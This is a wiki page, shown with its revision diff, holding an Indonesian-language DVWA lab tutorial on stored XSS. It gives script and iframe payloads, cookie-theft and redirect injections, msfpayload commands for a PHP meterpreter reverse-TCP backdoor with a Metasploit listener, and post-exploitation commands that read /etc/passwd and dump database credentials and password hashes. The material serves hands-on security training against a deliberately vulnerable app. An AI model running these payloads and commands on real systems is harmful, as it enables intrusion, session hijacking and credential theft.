Difference between revisions of "DVWA: XSS"

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==Build PHP msfpayload==
 
==Build PHP msfpayload==
  
 +
Membuat PHP backdoor
  
−
    mkdir -p /root/backdoor
+
mkdir -p /root/backdoor
−
    cd /root/backdoor
+
cd /root/backdoor
−
    msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
+
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
−
    ls -l FORUM_BUG.php
+
ls -l FORUM_BUG.php
  
 +
Pilih "Upload" di menu navigasi di bagian kiri DVWA.
  
−
    Select "Upload" from the left navigation menu.
+
===Start msfconsole===
−
    Click Browse
 
  
−
Start msfconsole
+
Jalankan
  
 +
msfconsole
  
−
        msfconsole
+
Exploit
−
 
 
−
use exploit/multi/handler
 
−
set PAYLOAD php/meterpreter/reverse_tcp
 
−
set LHOST 192.168.1.105
 
−
set LPORT 4444
 
−
exploit
 
  
 +
use exploit/multi/handler
 +
set PAYLOAD php/meterpreter/reverse_tcp
 +
set LHOST 192.168.1.105
 +
set LPORT 4444
 +
exploit
  
 
==XSS Stored window.location Exploit Test==
 
==XSS Stored window.location Exploit Test==
Line 110: Line 111:
 
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
 
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
 
* Klik > XSS (Stored)
 
* Klik > XSS (Stored)
−
Name: Test 4
+
* Name > "Test 4"
−
Message:
+
* Message > "<script>window.location="http://192.168.0.100/DVWA-1.9/hackable/uploads/FORUM_BUG.php" </script>"
 +
 
 +
Ubah 192.168.0.100 dengan IP DVWA anda.
 +
 
 +
* Klik > Sign Guestbook
 +
* Klik OK saat Test 1 Message di tampilkan.
 +
 
 +
Beberapa perintah yang menarik
 +
 
 +
shell
 +
    membuka shell "sh"
 +
 
 +
tail /etc/passwd
 +
    melihat username yang ada di mesin sasaran untuk ssh brute force attack.
 +
 
 +
whoami
 +
    display nama user.
 +
 
 +
grep apache /etc/passwd
 +
    memperoleh home directory dari username apache.
  
−
    <script>window.location="http://192.168.0.100/DVWA-1.9/hackable/uploads/FORUM_BUG.php" </script>
+
find /var/www/* -print | grep config
−
        Replace 192.168.1.106 with the IP Address obtain from Fedora 14 in (Section 3, Step 3).
+
    mencari semua file konfigurasi di directory /var/www
  
−
Click Sign Guestbook
+
grep "db_" /var/www/html/dvwa/config/config.inc.php
−
Click OK when the Test 1 Message is displayed
+
    melihat informasi nama database, username, dan password untuk akses ke database mysql.
  
−
shell
+
echo "use dvwa; show tables;" | mysql -uroot -p123456
 +
    melihat daftar tabel dari dvwa database
  
−
    Establishes a "sh" shell.
+
echo "use dvwa; desc users;" | mysql -uroot -p123456
 +
    melihat kolom yang ada di tabel users di database dvwa.
  
−
tail /etc/passwd
+
echo "select user,password from dvwa.users;" | mysql -uroot -p123456
 +
    melihat informasi user dan password untuk setiap user yang ada di tabel dvwa.users
  
−
    This produces a potential prospect list for a ssh brute force attack
+
===Bukti===
  
−
    whoami
+
echo "< pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
−
        Displays the name of the user.
+
     letakan html < pre > tag di file xss.html
−
     grep apache /etc/passwd
+
     < pre > digunakan untuk pre-formatter.
−
        The goal of this command is obtaining the home directory for the apache username.
 
−
     find /var/www/* -print | grep config
 
−
        Here I am wanting to find all the configuration files in the /var/www directory.
 
  
 +
echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
    letakan user dan password untuk tabel dvwa.users di file the xss.html
  
 +
echo "< /pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
    letakan < /pre > tag di file xss.html
  
−
    grep "db_" /var/www/html/dvwa/config/config.inc.php
+
echo "< br >Your Name< br >" >> /var/www/html/dvwa/hackable/uploads/xss.html
−
        This produces the database name, username, and password information to log into the mysql database.
+
     letakan string "Your Name" dengan naman anda sebenarnya
−
    echo "use dvwa; show tables;" | mysql -uroot -p123456
 
−
        This command produces a table list of the dvwa database.
 
−
    echo "use dvwa; desc users;" | mysql -uroot -p123456
 
−
        This command describes the columns of the users table in the dvwa datase.
 
−
     echo "select user,password from dvwa.users;" | mysql -uroot -p123456
 
−
        This command displays the user and password information for each user in the dvwa.users table.
 
  
 +
date >> /var/www/html/dvwa/hackable/uploads/xss.html
  
−
    echo "<pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
+
Pastikan < pre > , < /pre >, < br >, < /br > dibuang spasinya.
−
        Place the html <pre> tag in the xss.html file.
 
−
        The <pre> is used as a pre-formatter.
 
−
    echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
 
−
        Place user and password for the dvwa.users table in the xss.html file.
 
−
    echo "</pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
 
−
        Place the close html </pre> tag in the xss.html file.
 
−
    echo "<br>Your Name<br>" >> /var/www/html/dvwa/hackable/uploads/xss.html
 
−
        Replace the string "Your Name" with your actual name.
 
−
    date >> /var/www/html/dvwa/hackable/uploads/xss.html
 
  
 +
===Di Kali Linux===
  
 +
Web dengan alamat
  
 +
http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html
  
−
    On BackTrack, place the below URI in Firefox
+
IP 192.168.0.100 di ganti dengan IP DVWA server
−
        http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html
 
−
            Replace the above IP address with the IP Address obtained in (Section 3, Step 3).
 
  
 
==Referensi==
 
==Referensi==
  
 
* http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html
 
* http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html

Latest revision as of 06:24, 29 May 2017

sumber: http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html

Tujuan

  • Test a basic cross site scripting (XSS) attack
  • Test an iframe cross site scripting (XSS) attack
  • Test a cookie cross site scripting (XSS) attack
  • Create a php/meterpreter/reverse_tcp payload
  • Start the php/meterpreter/reverse_tcp listener
  • Upload the PHP payload to the DVWA Upload screen
  • Test a PHP Payload cross site scripting (XSS) attack


Di sisi DVWA

Cek IP

ifconfig


Fix Stored Cross Site Scripting (XSS) Comment Box

Edit index.php 

cd /var/www/html/DVWA-1.9/vulnerabilities/xss_s/
vi index.php

Search dengan keyword mtxMessage Ubah maxlength=50

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea>

menjadi maxlength=250

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"250\"></textarea>

Di sisi Kali Linux

Cek IP Kali Linux

ifconfig -a

Enable Javascript di Browser

Buka Firefox
Preferences > Content > Uncheck - Block pop-up windows

Masuk ke DVWA

  • Login
  • DVWA Security > Low

XSS Stored Basic Exploit Test

  • Klik > XSS (Stored)
  • Name > "Test 1"
  • Message > "<script>alert("This is a XSS Exploit Test")</script>"
  • Klik > Sign Guestbook

XSS Stored IFRAME Exploit Test

  • Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
  • Klik > XSS (Stored)
  • Nama > "Test 2"
  • Message > "<iframe src="http://www.cnn.com"></iframe>"
  • Klik > Sign Guestbook

Tampak bahwa CNN muncul di bawah "Test 2" . Teknik ini menjadi exploit yang sangat powerful yang dapat digunakan dalam Social Engineering Toolkit (SET) untuk cloning web.

XSS Stored COOKIE Exploit Test

  • Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
  • Klik > XSS (Stored)
  • Nama > "Test 3"
  • Message > "<script>alert(document.cookie)</script>"
  • Klik > Sign Guestbook

Akibatnya cookie/session yang digunakan untuk hubungan komunikasi dengan webserver dapat diambil. Attacker dapat memodifikasi XSS script ini untuk mengirimkan cookie ke lokasi remote, bukan menampilkannya. Bayangkan jika ini sebuah situs bank online, setiap kali user login & informasi cookie dikirim ke lokasi remote untuk di manfaatkan.

Build PHP msfpayload

Membuat PHP backdoor 

mkdir -p /root/backdoor
cd /root/backdoor
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
ls -l FORUM_BUG.php

Pilih "Upload" di menu navigasi di bagian kiri DVWA.

Start msfconsole

Jalankan 

msfconsole

Exploit 

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.105
set LPORT 4444
exploit

XSS Stored window.location Exploit Test

Ubah 192.168.0.100 dengan IP DVWA anda.

  • Klik > Sign Guestbook
  • Klik OK saat Test 1 Message di tampilkan.

Beberapa perintah yang menarik 

shell
   membuka shell "sh"

tail /etc/passwd
   melihat username yang ada di mesin sasaran untuk ssh brute force attack.

whoami
   display nama user.

grep apache /etc/passwd
   memperoleh home directory dari username apache.

find /var/www/* -print | grep config
   mencari semua file konfigurasi di directory /var/www

grep "db_" /var/www/html/dvwa/config/config.inc.php
   melihat informasi nama database, username, dan password untuk akses ke database mysql.

echo "use dvwa; show tables;" | mysql -uroot -p123456
   melihat daftar tabel dari dvwa database

echo "use dvwa; desc users;" | mysql -uroot -p123456
   melihat kolom yang ada di tabel users di database dvwa.

echo "select user,password from dvwa.users;" | mysql -uroot -p123456
   melihat informasi user dan password untuk setiap user yang ada di tabel dvwa.users

Bukti

echo "< pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan html < pre > tag di file xss.html
   < pre > digunakan untuk pre-formatter.

echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan user dan password untuk tabel dvwa.users di file the xss.html

echo "< /pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan < /pre > tag di file xss.html

echo "< br >Your Name< br >" >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan string "Your Name" dengan naman anda sebenarnya

date >> /var/www/html/dvwa/hackable/uploads/xss.html

Pastikan < pre > , < /pre >, < br >, < /br > dibuang spasinya.

Di Kali Linux

Web dengan alamat 

http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html

IP 192.168.0.100 di ganti dengan IP DVWA server

Referensi

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